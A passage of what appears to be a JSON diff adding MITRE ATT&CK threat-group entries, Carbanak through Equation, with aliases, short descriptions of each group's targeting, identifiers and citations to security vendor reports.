sometimes referred to as [FIN7](https://attack.mitre.org/groups/G0046), but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2017)", + "aliases": [ + "Carbanak", + "Anunak", + "Carbon Spider" + ], + "id": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "external_references": [ + { + "external_id": "G0008", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0008" + }, + { + "source_name": "Carbanak", + "description": "(Citation: Kaspersky Carbanak) (Citation: Fox-It Anunak Feb 2015)" + }, + { + "source_name": "Anunak", + "description": "(Citation: Fox-It Anunak Feb 2015)" + }, + { + "source_name": "Carbon Spider", + "description": "(Citation: Crowdstrike State of Criminal May 2016)" + }, + { + "source_name": "Kaspersky Carbanak", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf" + }, + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "source_name": "Fox-It Anunak Feb 2015", + "description": "Prins, R. (2015, February 16). Anunak (aka Carbanak) Update. Retrieved January 20, 2017.", + "url": "https://www.fox-it.com/en/about-fox-it/corporate/news/anunak-aka-carbanak-update/" + }, + { + "source_name": "Crowdstrike State of Criminal May 2016", + "description": "Johnston, R. (2016, May 16). State of the Criminal Address. Retrieved December 7, 2017.", + "url": "https://www.crowdstrike.com/blog/state-criminal-address/" + } + ], + "x_mitre_version": "1.0", + "modified": "2019-03-22T19:59:26.767Z", + "type": "intrusion-set", + "created": "2017-05-31T21:31:49.021Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Carbanak", + "x_mitre_contributors": [ + "Anastasios Pingios" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Charming Kitten", + "description": "[Charming Kitten](https://attack.mitre.org/groups/G0058) is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. [Charming Kitten](https://attack.mitre.org/groups/G0058) usually tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group's TTPs overlap extensively with another group, [Magic Hound](https://attack.mitre.org/groups/G0059), resulting in reporting that may not distinguish between the two groups' activities. (Citation: ClearSky Charming Kitten Dec 2017)", + "type": "intrusion-set", + "aliases": [ + "Charming Kitten" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--7636484c-adc5-45d4-9bfe-c3e062fbc4a0", + "external_references": [ + { + "external_id": "G0058", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0058" + }, + { + "source_name": "Charming Kitten", + "description": "(Citation: ClearSky Charming Kitten Dec 2017)" + }, + { + "source_name": "ClearSky Charming Kitten Dec 2017", + "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" + } + ], + "modified": "2019-03-22T19:59:49.319Z", + "x_mitre_version": "1.0", + "created": "2018-01-16T16:13:52.465Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Cleaver", + "description": "[Cleaver](https://attack.mitre.org/groups/G0003) is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)", + "type": "intrusion-set", + "aliases": [ + "Cleaver", + "Threat Group 2889", + "TG-2889" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", + "external_references": [ + { + "external_id": "G0003", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0003" + }, + { + "source_name": "Cleaver", + "description": "(Citation: Cylance Cleaver)" + }, + { + "source_name": "Threat Group 2889", + "description": "(Citation: Dell Threat Group 2889)" + }, + { + "source_name": "TG-2889", + "description": "(Citation: Dell Threat Group 2889)" + }, + { + "source_name": "Cylance Cleaver", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + }, + { + "source_name": "Dell Threat Group 2889", + "description": "Dell SecureWorks. (2015, October 7). Suspected Iran-Based Hacker Group Creates Network of Fake LinkedIn Profiles. Retrieved January 14, 2016.", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/" + } + ], + "modified": "2019-03-22T20:00:23.747Z", + "x_mitre_version": "1.0", + "created": "2017-05-31T21:31:46.390Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Cobalt Group", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims. (Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Dec 2016) (Citation: Group IB Cobalt Aug 2017) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008). (Citation: Europol Cobalt Mar 2018)", + "type": "intrusion-set", + "aliases": [ + "Cobalt Group", + "Cobalt Gang", + "Cobalt Spider" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "external_references": [ + { + "external_id": "G0080", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0080" + }, + { + "source_name": "Cobalt Group", + "description": "(Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Dec 2016) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018)" + }, + { + "source_name": "Cobalt Gang", + "description": "(Citation: Talos Cobalt Group July 2018) (Citation: Crowdstrike Global Threat Report Feb 2018)(Citation: Morphisec Cobalt Gang Oct 2018)" + }, + { + "source_name": "Cobalt Spider", + "description": "(Citation: Crowdstrike Global Threat Report Feb 2018)" + }, + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "source_name": "PTSecurity Cobalt Group Aug 2017", + "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf" + }, + { + "source_name": "PTSecurity Cobalt Dec 2016", + "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" + }, + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + }, + { + "source_name": "Proofpoint Cobalt June 2017", + "description": "Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target" + }, + { + "source_name": "RiskIQ Cobalt Nov 2017", + "description": "Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.", + "url": "https://www.riskiq.com/blog/labs/cobalt-strike/" + }, + { + "source_name": "RiskIQ Cobalt Jan 2018", + "description": "Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.", + "url": "https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/" + }, + { + "source_name": "Europol Cobalt Mar 2018", + "description": "Europol. (2018, March 26). Mastermind Behind EUR 1 Billion Cyber Bank Robbery Arrested in Spain. Retrieved October 10, 2018.", + "url": "https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain" + }, + { + "source_name": "Crowdstrike Global Threat Report Feb 2018", + "description": "CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.", + "url": "https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report" + }, + { + "source_name": "Morphisec Cobalt Gang Oct 2018", + "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.", + "url": "https://blog.morphisec.com/cobalt-gang-2.0" + } + ], + "modified": "2019-07-26T23:38:32.356Z", + "x_mitre_version": "1.1", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "CopyKittens", + "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip. (Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)", + "type": "intrusion-set", + "aliases": [ + "CopyKittens" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", + "external_references": [ + { + "external_id": "G0052", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0052" + }, + { + "source_name": "CopyKittens", + "description": "(Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)" + }, + { + "source_name": "ClearSky CopyKittens March 2017", + "description": "ClearSky Cyber Security. (2017, March 30). Jerusalem Post and other Israeli websites compromised by Iranian threat agent CopyKitten. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/copykitten-jpost/" + }, + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + }, + { + "source_name": "CopyKittens Nov 2015", + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + } + ], + "modified": "2019-05-03T16:42:19.026Z", + "x_mitre_version": "1.1", + "created": "2018-01-16T16:13:52.465Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Dark Caracal", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) is threat group that has been attributed to the Lebanese General Directorate of General Security (GDGS) and has operated since at least 2012. (Citation: Lookout Dark Caracal Jan 2018)", + "type": "intrusion-set", + "aliases": [ + "Dark Caracal" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "external_references": [ + { + "external_id": "G0070", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0070" + }, + { + "source_name": "Dark Caracal", + "description": "(Citation: Lookout Dark Caracal Jan 2018)" + }, + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "modified": "2019-07-16T15:35:20.554Z", + "x_mitre_version": "1.1", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "DarkHydrus", + "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) is a threat group that has targeted government agencies and educational institutions in the Middle East since at least 2016. The group heavily leverages open-source tools and custom payloads for carrying out attacks. (Citation: Unit 42 DarkHydrus July 2018) (Citation: Unit 42 Playbook Dec 2017)", + "type": "intrusion-set", + "aliases": [ + "DarkHydrus" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", + "external_references": [ + { + "external_id": "G0079", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0079" + }, + { + "source_name": "DarkHydrus", + "description": "(Citation: Unit 42 DarkHydrus July 2018)" + }, + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "modified": "2019-04-22T19:23:13.144Z", + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Darkhotel", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wi\u2011Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing. (Citation: Kaspersky Darkhotel)", + "type": "intrusion-set", + "aliases": [ + "Darkhotel" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "external_references": [ + { + "external_id": "G0012", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0012" + }, + { + "source_name": "Darkhotel", + "description": "(Citation: Kaspersky Darkhotel)" + }, + { + "source_name": "Kaspersky Darkhotel", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf" + } + ], + "modified": "2019-01-31T18:48:51.556Z", + "x_mitre_version": "1.1", + "created": "2017-05-31T21:31:50.624Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to [Deep Panda](https://attack.mitre.org/groups/G0009). (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) [Deep Panda](https://attack.mitre.org/groups/G0009) also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine) Some analysts track [Deep Panda](https://attack.mitre.org/groups/G0009) and [APT19](https://attack.mitre.org/groups/G0073) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China's Espionage Jul 2016)", + "aliases": [ + "Deep Panda", + "Shell Crew", + "WebMasters", + "KungFu Kittens", + "PinkPanther", + "Black Vine" + ], + "id": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "external_references": [ + { + "external_id": "G0009", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0009" + }, + { + "source_name": "Deep Panda", + "description": "(Citation: Alperovitch 2014)" + }, + { + "source_name": "Shell Crew", + "description": "(Citation: RSA Shell Crew)" + }, + { + "source_name": "WebMasters", + "description": "(Citation: RSA Shell Crew)" + }, + { + "source_name": "KungFu Kittens", + "description": "(Citation: RSA Shell Crew)" + }, + { + "source_name": "PinkPanther", + "description": "(Citation: RSA Shell Crew)" + }, + { + "source_name": "Black Vine", + "description": "(Citation: Symantec Black Vine)" + }, + { + "source_name": "Alperovitch 2014", + "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", + "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/" + }, + { + "source_name": "ThreatConnect Anthem", + "description": "ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016.", + "url": "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/" + }, + { + "source_name": "RSA Shell Crew", + "description": "RSA Incident Response. (2014, January). RSA Incident Response Emerging Threat Profile: Shell Crew. Retrieved January 14, 2016.", + "url": "https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf" + }, + { + "source_name": "Symantec Black Vine", + "description": "DiMaggio, J.. (2015, August 6). The Black Vine cyberespionage group. Retrieved January 26, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf" + }, + { + "source_name": "ICIT China's Espionage Jul 2016", + "description": "Scott, J. and Spaniel, D. (2016, July 28). ICIT Brief - China\u2019s Espionage Dynasty: Economic Death by a Thousand Cuts. Retrieved June 7, 2018.", + "url": "https://icitech.org/icit-brief-chinas-espionage-dynasty-economic-death-by-a-thousand-cuts/" + } + ], + "x_mitre_version": "1.0", + "modified": "2019-03-22T20:09:34.371Z", + "type": "intrusion-set", + "created": "2017-05-31T21:31:49.412Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Deep Panda", + "x_mitre_contributors": [ + "Andrew Smith, @jakx_" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "DragonOK", + "description": "[DragonOK](https://attack.mitre.org/groups/G0017) is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, [DragonOK](https://attack.mitre.org/groups/G0017) is thought to have a direct or indirect relationship with the threat group [Moafee](https://attack.mitre.org/groups/G0002). (Citation: Operation Quantum Entanglement) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. (Citation: New DragonOK)", + "type": "intrusion-set", + "aliases": [ + "DragonOK" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--f3bdec95-3d62-42d9-a840-29630f6cdc1a", + "external_references": [ + { + "external_id": "G0017", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0017" + }, + { + "source_name": "DragonOK", + "description": "(Citation: Operation Quantum Entanglement) (Citation: New DragonOK)" + }, + { + "source_name": "Operation Quantum Entanglement", + "description": "Haq, T., Moran, N., Vashisht, S., Scott, M. (2014, September). OPERATION QUANTUM ENTANGLEMENT. Retrieved November 4, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf" + }, + { + "source_name": "New DragonOK", + "description": "Miller-Osborn, J., Grunzweig, J.. (2015, April). Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets. Retrieved November 4, 2015.", + "url": "http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/" + } + ], + "modified": "2019-03-22T20:10:32.917Z", + "x_mitre_version": "1.0", + "created": "2017-05-31T21:31:53.197Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Dragonfly", + "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)\n\nA similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). There is debate over the extent of the overlap between [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017) (Citation: Fortune Dragonfly 2.0 Sept 2017)", + "type": "intrusion-set", + "aliases": [ + "Dragonfly", + "Energetic Bear" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", + "external_references": [ + { + "external_id": "G0035", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0035" + }, + { + "source_name": "Dragonfly", + "description": "(Citation: Symantec Dragonfly)" + }, + { + "source_name": "Energetic Bear", + "description": "(Citation: Symantec Dragonfly)" + }, + { + "source_name": "Symantec Dragonfly", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + }, + { + "source_name": "Symantec Dragonfly Sept 2017", + "description": "Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.", + "url": "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group" + }, + { + "source_name": "Fortune Dragonfly 2.0 Sept 2017", + "description": "Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018.", + "url": "http://fortune.com/2017/09/06/hack-energy-grid-symantec/" + } + ], + "modified": "2019-03-22T20:11:04.628Z", + "x_mitre_version": "1.0", + "created": "2017-05-31T21:32:05.217Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Dragonfly 2.0", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least March 2016. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)", + "type": "intrusion-set", + "aliases": [ + "Dragonfly 2.0", + "Berserk Bear" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "external_references": [ + { + "external_id": "G0074", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0074" + }, + { + "source_name": "Dragonfly 2.0", + "description": "(Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) (Citation: Fortune Dragonfly 2.0 Sept 2017)" + }, + { + "source_name": "Berserk Bear", + "description": "(Citation: Fortune Dragonfly 2.0 Sept 2017)" + }, + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "Symantec Dragonfly Sept 2017", + "description": "Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.", + "url": "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group" + }, + { + "source_name": "Fortune Dragonfly 2.0 Sept 2017", + "description": "Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018.", + "url": "http://fortune.com/2017/09/06/hack-energy-grid-symantec/" + } + ], + "modified": "2019-03-22T20:13:49.069Z", + "x_mitre_version": "1.1", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Dust Storm", + "description": "[Dust Storm](https://attack.mitre.org/groups/G0031) is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. (Citation: Cylance Dust Storm)", + "type": "intrusion-set", + "aliases": [ + "Dust Storm" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31", + "external_references": [ + { + "external_id": "G0031", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0031" + }, + { + "source_name": "Dust Storm", + "description": "(Citation: Cylance Dust Storm)" + }, + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2019-03-22T20:14:29.575Z", + "x_mitre_version": "1.0", + "created": "2017-05-31T21:32:03.306Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Elderwood](https://attack.mitre.org/groups/G0066) is a suspected Chinese cyber espionage group that was reportedly responsible for the 2009 Google intrusion known as Operation Aurora. (Citation: Security Affairs Elderwood Sept 2012) The group has targeted defense organizations, supply chain manufacturers, human rights and nongovernmental organizations (NGOs), and IT service providers. (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)", + "aliases": [ + "Elderwood", + "Elderwood Gang", + "Beijing Group", + "Sneaky Panda" + ], + "id": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "external_references": [ + { + "external_id": "G0066", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0066" + }, + { + "source_name": "Elderwood", + "description": "(Citation: Security Affairs Elderwood Sept 2012) (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)" + }, + { + "source_name": "Elderwood Gang", + "description": "(Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)" + }, + { + "source_name": "Beijing Group", + "description": "(Citation: CSM Elderwood Sept 2012)" + }, + { + "source_name": "Sneaky Panda", + "description": "(Citation: CSM Elderwood Sept 2012)" + }, + { + "source_name": "Security Affairs Elderwood Sept 2012", + "description": "Paganini, P. (2012, September 9). Elderwood project, who is behind Op. Aurora and ongoing attacks?. Retrieved February 13, 2018.", + "url": "http://securityaffairs.co/wordpress/8528/hacking/elderwood-project-who-is-behind-op-aurora-and-ongoing-attacks.html" + }, + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "source_name": "CSM Elderwood Sept 2012", + "description": "Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.", + "url": "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China" + } + ], + "x_mitre_version": "1.0", + "modified": "2019-03-22T20:15:19.117Z", + "type": "intrusion-set", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Elderwood", + "x_mitre_contributors": [ + "Valerii Marchuk, Cybersecurity Help s.r.o." + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Equation", + "description": "[Equation](https://attack.mitre.org/groups/G0020) is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives. (Citation: Kaspersky Equation QA)", + "type": "intrusion-set", + 